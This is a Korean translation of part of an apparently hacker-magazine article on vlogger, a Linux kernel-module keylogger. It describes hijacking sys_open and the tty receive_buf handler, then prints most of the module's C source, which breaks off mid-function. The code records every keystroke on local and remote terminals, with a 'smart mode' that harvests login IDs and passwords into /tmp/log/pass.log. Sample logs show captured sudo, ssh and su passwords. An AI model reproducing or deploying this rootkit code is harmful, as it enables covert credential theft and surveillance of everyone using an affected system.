커널 안에 , tty 구조와 tty_queue 구조는 tty가 사용될때(open tty 될때) 동적으로 할당되었다.
그리하여, tty와 pty가 호출될때 sys_open syscall 인터셉터를 동적으로 hooking 해서
receive_buf ( ) 함수를 이용합니다.
// 인터셉트로 System call 호출
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// original_sys_open 호출
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// old receive_buf 저장
old_receive_buf = tty->ldisc.receive_buf;
...
/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}
// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // raw 모드 무시
// 로그인 한 사용자의 키보드 입력값을 저장할 함수 호출
vlogger_process(tty, cp, count);
// 기존 receive_buf 호출
(*old_receive_buf)(tty, cp, fp, count);
}
----[ 4.2 - 특징
- local과 remote 두 접속방법에서 모두 키로그를 저장합니다.(tty 경유 혹은 pts)
- 각각의 tty와 세션으로 logging이 분리됩니다. 각 tty는 logger buffer를
가지고 있습니다.
- 방향키( left, right, up, down ), F1 to F12, Shift+F1 to Shift+F12, Tab,
Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... 등 모든
특수키를 지원합니다.
- CTRL - U 와 BackSpace 와 같은 line editing을 지원합니다.
- (libc등 으로 부터 데이터를 가져와서 ) 표준 시간대를 지원하며 이를 이용하여 Logging
시간 을 저장해줍니다.
- 다중 로깅 모드
o Dumb 모드 : 키를 누르는 모든 동작을 기록합니다.
o Smart 모드 : 패스워드입력시 자동으로 user id 와 패스워드를 저장해줍니다.
Solar Designer and Dug Song[6] 가 적은 "Passive Analysis of SSH
(Secure Shell) Traffic " 이란 글에서 쓴 방법과 유사한 방법을 썼는데,
프로그램에서 에코기능(키를 눌렀을 때, 그 문자가 console에 쳐 지는 것을 말함)을 꺼
버린
것을 패스워드가 입력 될 것이라고 생각하는 겁니다.
o Normal 모드 : 키 로그 기록을 끕니다.
패스워드를 지정해서 로깅 모드를 켰다 껐다 하기
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // 모드 조절할 때, PASS 키 Type 설정
(%역자주%) ex> 31337 을 친 상태에서 CTRL - ] 를 치면 모드가 변화합니다 :)
----[ 4.3 - 어떻게 사용하는가?
아래와 같이 옵션을 바꾸어 주십시오.
// log 파일이 저장되는 디렉토리 정하기
#define LOG_DIR "/tmp/log"
//사는 곳의 시간대를 지정하기 %역자주% 한국은 GMT+9 이라는 아시죠 : )
#define TIMEZONE 7*60*60 // GMT+7
// Magic Pass 정하기
#define MAGIC_PASS "31337"
아래와 같이 하면 log file 을 볼 수 있을 겁니다.
[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2
---in dumb 모드
[root@localhost log]# head tty2 // 로컬 접속
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]
[root@localhost log]# tail pts11 // 원격 접속
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
--- smart 모드
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh
[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234
이 툴에 관한 새로운 정보가 http://www.thehackerschoice.com/ 에 Update 되었는지
꼭 확인해 주세요. (%역자주% 사이트 광고하는거 같애 ㅡㅡ;; )
--[ 5 ? 감사의 글
plasmoild, skyper 와 아주 유익한 comment를 해주신 THC, vnsecurity와 모든 친구
들 에게 감사드리며, 적절한 영어로 수정해주신 mr.thang 에게 감사의 말씀을 드립니다.
(%역자주% 부적절하게 번역해준 나한테는 감사 안하낭 ㅡㅡ;;)
--[ 6 ? 참고문헌
[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux 키보드 driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
--[ 7 ? Keylogger 소스
<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY local logging only.
# sys_open system call때 인터셉트 하지 않음
# DEBUG 디버깅 가능 모드. 이 옵션을 켜면 시스템은 성능이 떨어질것입니다.
#
KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
-Wstrict-prototypes -fomit-frame-pointer -pipe \
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
-malign-functions=2
all : vlogger.o
vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd <rd@vnsecurity.net>
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* %역자주% GNU 라이센스죠 그래서 번역 안합니다 : )
* THC & vnsecurity 에 감사드립니다
*
*/
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif
#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif
#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"
#define TIMEZONE 7*60*60 // GMT+7
#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // 로컬 접속시
#define BACK_SPACE_CHAR2 8 // 원격지 접속시
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // 모드 조절할 때, PASS 키 Type 설정
//(%역자주%) ex> 31337 을 친 상태에서 CTRL - ] 를 치면 모드가 변화합니다 :)
#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE
#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
buf, count)
#define TTY_NAME(tty) (tty->driver.type == \
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
extern void *sys_call_table[];
int errno;
struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);
int vlogger_mode = DEFAULT_MODE;
/* 프로토타입 */
static inline void init_tty(struct tty_struct *, int);
/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}
char *tty_name(struct tty_struct *tty, char *buf)
{
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
/*
* 연도에 따라 날짜 변화
*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
/*
* 통상적인 시간과 날짜 가져오기
*/
void get_time (char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;
do_gettimeofday(&tv);
t = (time_t)tv.tv_sec;
epoch2time(&t, TIMEZONE, &tm);
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}
/*
* pgrp id 으로 부터 작업(TASK) 구조 가져오기
*/
inline struct task_struct *get_task(pid_t pgrp)
{
struct task_struct *task = current;
do {
if (task->pgrp == pgrp) {
return task;
}
task = task->next_task;
} while (task != current);
return NULL;
}
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)
int write_to_file(char *logfile, char *buf, int size)
{
int ret = 0;
struct file *f = NULL;
lock_kernel();
BEGIN_KMEM;
f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
ret = -1;
} else {
if (WRITABLE(f))
_write(f, buf, size);
else {
DPRINT("%s does not have a write method\n",
logfile);
ret = -1;
}
if ((ret = filp_close(f,NULL)))
DPRINT("Error %d closing %s\n", -ret, logfile);
}
END_KMEM;
unlock_kernel();
return ret;
}
#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }
/*
* 키 칠 때 로그
*/
void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
{
int i;
char logfile[256];
char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
char date_time[24];
struct task_struct *task;
if (vlogger_mode == VK_NORMAL)
return;
if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
return;
task = get_task(tty->pgrp);
for (i=0; i<tmp->lastpos; i++)
if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
if (!cont)
tmp->buf[tmp->lastpos++] = 0x0A;
tmp->buf[tmp->lastpos] = 0;
if (vlogger_mode == VK_DUMBMODE) {
snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
BEGIN_ROOT
if (!tmp->status) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"<%s uid=%d %s> %s", date_time,
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"<%s> %s", date_time, tmp->buf);
write_to_file(logfile, loginfo, strlen(loginfo));
} else {
write_to_file(logfile, tmp->buf, tmp->lastpos);
}
END_ROOT
#ifdef DEBUG
if (task)
DPRINT("%s/%d uid=%d %s: %s",
TTY_NAME(tty), TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
DPRINT("%s", tmp->buf);
#endif
tmp->status = cont;
} else {
/*
* SMART mode 일때 User가 logging 할때 ID/PASS 저장
*/
BEGIN_ROOT
if (!tmp->pass) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d uid=%d %s]\n"
"USER/CMD %s", date_time,
TTY_NAME(tty),TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d]\nUSER/CMD %s",
date_time, TTY_NAME(tty),
TTY_NUMBER(tty), tmp->buf);
write_to_file(PASS_LOG, loginfo, strlen(loginfo));
} else {
snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
tmp->buf);
write_to_file (PASS_LOG, loginfo, strlen(loginfo));
}
END_ROOT
#ifdef DEBUG
if (!tmp->pass)
DPRINT("USER/CMD %s", tmp->buf);
else
DPRINT("PASS %s", tmp->buf);
#endif
}
if (!cont) tmp->buf[--tmp->lastpos] = 0;
}
#define resetbuf(t) \
{ \
t->buf[0] = 0; \
t->lastpos = 0; \
}
#define append_c(t, s, n) \
{ \
t->lastpos += n; \
strncat(t->buf, s, n); \
}
static inline void reset_all_buf(void)
{
int i = 0;
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
if (ttys[i] != NULL)
resetbuf(ttys[i]);
}
void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
switch(count) {
case 2:
switch(cp[1]) {
case '\'':
append_c(tmp, "[ALT-\']", 7);
break;
case ',':
append_c(tmp, "[ALT-,]", 7);
break;
case '-':
append_c(tmp, "[ALT--]", 7);
break;
case '.':
append_c(tmp, "[ALT-.]", 7);
break;
case '/':
append_c(tmp, "[ALT-/]", 7);
break;
case '0':
append_c(tmp, "[ALT-0]", 7);
break;
case '1':
append_c(tmp, "[ALT-1]", 7);
break;
case '2':
append_c(tmp, "[ALT-2]", 7);
break;
case '3':
append_c(tmp, "[ALT-3]", 7);
break;
case '4':
append_c(tmp, "[ALT-4]", 7);
break;
case '5':
append_c(tmp, "[ALT-5]", 7);
break;
case '6':
append_c(tmp, "[ALT-6]", 7);
break;
case '7':
append_c(tmp, "[ALT-7]", 7);
break;
case '8':
append_c(tmp, "[ALT-8]", 7);
break;
case '9':
append_c(tmp, "[ALT-9]", 7);
break;
case ';':
append_c(tmp, "[ALT-;]", 7);
break;
case '=':
append_c(tmp, "[ALT-=]", 7);
break;
case '[':
append_c(tmp, "[ALT-[]", 7);
break;
case '\\':
append_c(tmp, "[ALT-\\]", 7);
break;
case ']':
append_c(tmp, "[ALT-]]", 7);
break;
case '`':
append_c(tmp, "[ALT-`]", 7);
break;
case 'a':
append_c(tmp, "[ALT-A]", 7);
break;
case 'b':
append_c(tmp, "[ALT-B]", 7);
break;
case 'c':
append_c(tmp, "[ALT-C]", 7);
break;
case 'd':
append_c(tmp, "[ALT-D]", 7);
break;
case 'e':
append_c(tmp, "[ALT-E]", 7);
break;
case 'f':
append_c(tmp, "[ALT-F]", 7);
break;
case 'g':
append_c(tmp, "[ALT-G]", 7);
break;
case 'h':
append_c(tmp, "[ALT-H]", 7);
break;
case 'i':
append_c(tmp, "[ALT-I]", 7);
break;
case 'j':
append_c(tmp, "[ALT-J]", 7);
break;
case 'k':
append_c(tmp, "[ALT-K]", 7);
break;
case 'l':
append_c(tmp, "[ALT-L]", 7);
break;
case 'm':
append_c(tmp, "[ALT-M]", 7);
break;
case 'n':
append_c(tmp, "[ALT-N]", 7);
break;
case 'o':
append_c(tmp, "[ALT-O]", 7);
break;
case 'p':
append_c(tmp, "[ALT-P]", 7);
break;
case 'q':
append_c(tmp, "[ALT-Q]", 7);
break;
case 'r':
append_c(tmp, "[ALT-R]", 7);
break;
case 's':
append_c(tmp, "[ALT-S]", 7);
break;
case 't':
append_c(tmp, "[ALT-T]", 7);
break;
case 'u':
append_c(tmp, "[ALT-U]", 7);
break;
case 'v':
append_c(tmp, "[ALT-V]", 7);
break;
case 'x':
append_c(tmp, "[ALT-X]", 7);
break;
case 'y':
append_c(tmp, "[ALT-Y]", 7);
break;
case 'z':
append_c(tmp, "[ALT-Z]", 7);
break;
}
break;
case 3:
switch(cp[2]) {
case 68:
// Left: 27 91 68
append_c(tmp, "[LEFT]", 6);
break;
case 67:
// Right: 27 91 67
append_c(tmp, "[RIGHT]", 7);
break;
case 65:
// Up: 27 91 65
append_c(tmp, "[UP]", 4);
break;
case 66:
// Down: 27 91 66
append_c(tmp, "[DOWN]", 6);
break;
case 80:
// Pause/Break: 27 91 80
append_c(tmp, "[BREAK]", 7);
break;
}
break;
case 4:
switch(cp[3]) {
case 65:
// F1: 27 91 91 65
append_c(tmp, "[F1]", 4);
break;
case 66:
// F2: 27 91 91 66
append_c(tmp, "[F2]", 4);
break;
case 67:
// F3: 27 91 91 67
append_c(tmp, "[F3]", 4);
break;
case 68:
// F4: 27 91 91 68
append_c(tmp, "[F4]", 4);
break;
case 69:
// F5: 27 91 91 69
append_c(tmp, "[F5]", 4);
break;
case 126:
switch(cp[2]) {
case 53:
// PgUp: 27 91 53 126
append_c(tmp, "[PgUP]", 6);
break;
case 54:
// PgDown: 27 91 54 126
append_c(tmp,
"[PgDOWN]", 8);
break;
case 49:
// Home: 27 91 49 126
append_c(tmp, "[HOME]", 6);
break;
case 52:
// End: 27 91 52 126
append_c(tmp, "[END]", 5);
break;
case 50:
// Insert: 27 91 50 126
append_c(tmp, "[INS]", 5);
break;
case 51:
// Delete: 27 91 51 126
append_c(tmp, "[DEL]", 5);
break;
}
break;
}
break;
case 5:
if(cp[2] == 50)
switch(cp[3]) {
case 48:
// F9: 27 91 50 48 126
append_c(tmp, "[F9]", 4);
break;
case 49:
// F10: 27 91 50 49 126
append_c(tmp, "[F10]", 5);
break;
case 51:
// F11: 27 91 50 51 126
append_c(tmp, "[F11]", 5);
break;
case 52:
// F12: 27 91 50 52 126
append_c(tmp, "[F12]", 5);
break;
case 53:
// Shift-F1: 27 91 50 53 126
append_c(tmp, "[SH-F1]", 7);
break;
case 54:
// Shift-F2: 27 91 50 54 126
append_c(tmp, "[SH-F2]", 7);
break;
case 56:
// Shift-F3: 27 91 50 56 126
append_c(tmp, "[SH-F3]", 7);
break;
case 57:
// Shift-F4: 27 91 50 57 126
append_c(tmp, "[SH-F4]", 7);
break;
}
else
switch(cp[3]) {
case 55:
// F6: 27 91 49 55 126
append_c(tmp, "[F6]", 4);
break;
case 56:
// F7: 27 91 49 56 126
append_c(tmp, "[F7]", 4);
break;
case 57:
// F8: 27 91 49 57 126
append_c(tmp, "[F8]", 4);
break;
case 49:
// Shift-F5: 27 91 51 49 126
append_c(tmp, "[SH-F5]", 7);
break;
case 50:
// Shift-F6: 27 91 51 50 126
append_c(tmp, "[SH-F6]", 7);
break;
case 51:
// Shift-F7: 27 91 51 51 126
append_c(tmp, "[SH-F7]", 7);
break;
case 52:
// Shift-F8: 27 91 51 52 126
append_c(tmp, "[SH-F8]", 7);
break;
};
break;
default: // Unknow
break;
}
}
/*
* 사용자가 키를 누를때 언제나 호출 되는 구문
*/
void vlogger_process(struct tty_struct *tty,
const unsigned char *cp, int count)
{
struct tlogger *tmp = ttys[TTY_INDEX(tty)];
if (!tmp) {
DPRINT("erm .. unknow error???\n");
init_tty(tty, TTY_INDEX(tty));
tmp = ttys[TTY_INDEX(tty)];
if (!tmp)
return;
}
if (vlogger_mode == VK_SMARTMODE) {
if (tmp->status && !IS_PASSWD(tty)) {
resetbuf(tmp);
}
if (!tmp->pass && IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
}
if (tmp->pass && !IS_PASSWD(tty)) {
if (!tmp->lastpos)
logging(tty, tmp, 0);
resetbuf(tmp);
}
tmp->pass = IS_PASSWD(tty);
tmp->status = 0;
}
if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
logging(tty, tmp, 1);
resetbuf(tmp);
}
if (count == 1) {
if (cp[0] == VK_TOGLE_CHAR) {
if (!strcmp(tmp->buf, MAGIC_PASS)) {
if(vlogger_mode < 2)
vlogger_mode++;
else
vlogger_mode = 0;
reset_all_buf();
switch(vlogger_mode) {
case VK_DUMBMODE:
DPRINT("Dumb Mode\n");
TTY_WRITE(tty, "\r\n"
"Dumb Mode\n", 12);
break;
case VK_SMARTMODE:
DPRINT("Smart Mode\n");
TTY_WRITE(tty, "\r\n"
"Smart Mode\n", 13);
break;
case VK_NORMAL:
DPRINT("Normal Mode\n");
TTY_WRITE(tty, "\r\n"
"Normal Mode\n", 14);
}
}
}
switch (cp[0]) {
case 0x01: //^A
append_c(tmp, "[^A]", 4);
break;
case 0x02: //^B
append_c(tmp, "[^B]", 4);
break;
case 0x03: //^C
append_c(tmp, "[^C]", 4);
case 0x04: //^D
append_c(tmp, "[^D]", 4);
case 0x0D: //^M
case 0x0A:
if (vlogger_mode == VK_SMARTMODE) {
if (IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
} else
tmp->status = 1;
} else {
logging(tty, tmp, 0);
resetbuf(tmp);
}
break;
case 0x05: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x06: //^F
append_c(tmp, "[^F]", 4);
break;
case 0x07: //^G
append_c(tmp, "[^G]", 4);
break;
case 0x09: //TAB - ^I
append_c(tmp, "[TAB]", 5);
break;
case 0x0b: //^K
append_c(tmp, "[^K]", 4);
break;
case 0x0c: //^L
append_c(tmp, "[^L]", 4);
break;
case 0x0e: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x0f: //^O
append_c(tmp, "[^O]", 4);
break;
case 0x10: //^P
append_c(tmp, "[^P]", 4);
break;
case 0x11: //^Q
append_c(tmp, "[^Q]", 4);
break;
case 0x12: //^R
append_c(tmp, "[^R]", 4);
break;
case 0x13: //^S
append_c(tmp, "[^S]", 4);
break;
case 0x14: //^T
append_c(tmp, "[^T]", 4);
break;
case 0x15: //CTRL-U
resetbuf(tmp);
break;
case 0x16: //^V
append_c(tmp, "[^V]", 4);
break;
case 0x17: //^W
append_c(tmp, "[^W]", 4);
break;
case 0x18: //^X
append_c(tmp, "[^X]", 4);
break;
case 0x19: //^Y
append_c(tmp, "[^Y]", 4);
break;
case 0x1a: //^Z
append_c(tmp, "[^Z]", 4);
break;
case 0x1c: //^\
append_c(tmp, "[^\\]", 4);
break;
case 0x1d: //^]
append_c(tmp, "[^]]", 4);
break;
case 0x1e: //^^
append_c(tmp, "[^^]", 4);
break;
case 0x1f: //^_
append_c(tmp, "[^_]", 4);
break;
case BACK_SPACE_CHAR1:
case BACK_SPACE_CHAR2:
if (!tmp->lastpos) break;
if (tmp->buf[tmp->lastpos-1] != ']')
tmp->buf[--tmp->lastpos] = 0;
else {
append_c(tmp, "[^H]", 4);
}
break;
case ESC_CHAR: //ESC
append_c(tmp, "[ESC]", 5);
break;
default:
tmp->buf[tmp->lastpos++] = cp[0];
tmp->buf[tmp->lastpos] = 0;
}
} else { // 한 블록의 char 형 혹은 특수키
if (cp[0] != ESC_CHAR) {
while (count >= MAX_BUFFER) {
append_c(tmp, cp, MAX_BUFFER);
logging(tty, tmp, 1);
resetbuf(tmp);
count -= MAX_BUFFER;
cp += MAX_BUFFER;
}
append_c(tmp, cp, count);
} else // 특수키
special_key(tmp, cp, count);
}
}
void my_tty_open(void)
{
int fd, i;
char dev_name[80];
#ifdef LOCAL_ONLY
int fl = 0;
struct tty_struct * tty;
struct file * file;
#endif
for (i=1; i<MAX_TTY_CON; i++) {
snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd < 0) continue;
#ifdef LOCAL_ONLY
file = fget(fd);
tty = file->private_data;
if (tty != NULL &&
tty->ldisc.receive_buf != NULL) {
if (!fl) {
old_receive_buf =
tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
#endif
close(fd);
END_KMEM
}
#ifndef LOCAL_ONLY
for (i=0; i<MAX_PTS_CON; i++) {
snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd >= 0) close(fd);
END_KMEM
}
#endif
}
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // raw 모드 무시하기
vlogger_process(tty, cp, count);
(*old_receive_buf)(tty, cp, fp, count);
}
static inline void init_tty(struct tty_struct *tty, int tty_index)
{
struct tlogger *tmp;
DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
if (ttys[tty_index] == NULL) {
tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
if (!tmp) {
DPRINT("kmalloc failed!\n");
return;
}
memset(tmp, 0, sizeof(struct tlogger));
tmp->tty = tty;
tty->ldisc.receive_buf = new_receive_buf;
ttys[tty_index] = tmp;
} else {
tmp = ttys[tty_index];
logging(tty, tmp, 1);
resetbuf(tmp);
tty->ldisc.receive_buf = new_receive_buf;
}
}
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
int ret;
static int fl = 0;
struct file * file;
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
BEGIN_KMEM
lock_kernel();
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
tty->driver.subtype == PTY_TYPE_SLAVE &&
TTY_NUMBER(tty) < MAX_PTS_CON)) &&
tty->ldisc.receive_buf != NULL &&
tty->ldisc.receive_buf != new_receive_buf) {
if (!fl) {
old_receive_buf = tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
unlock_kernel();
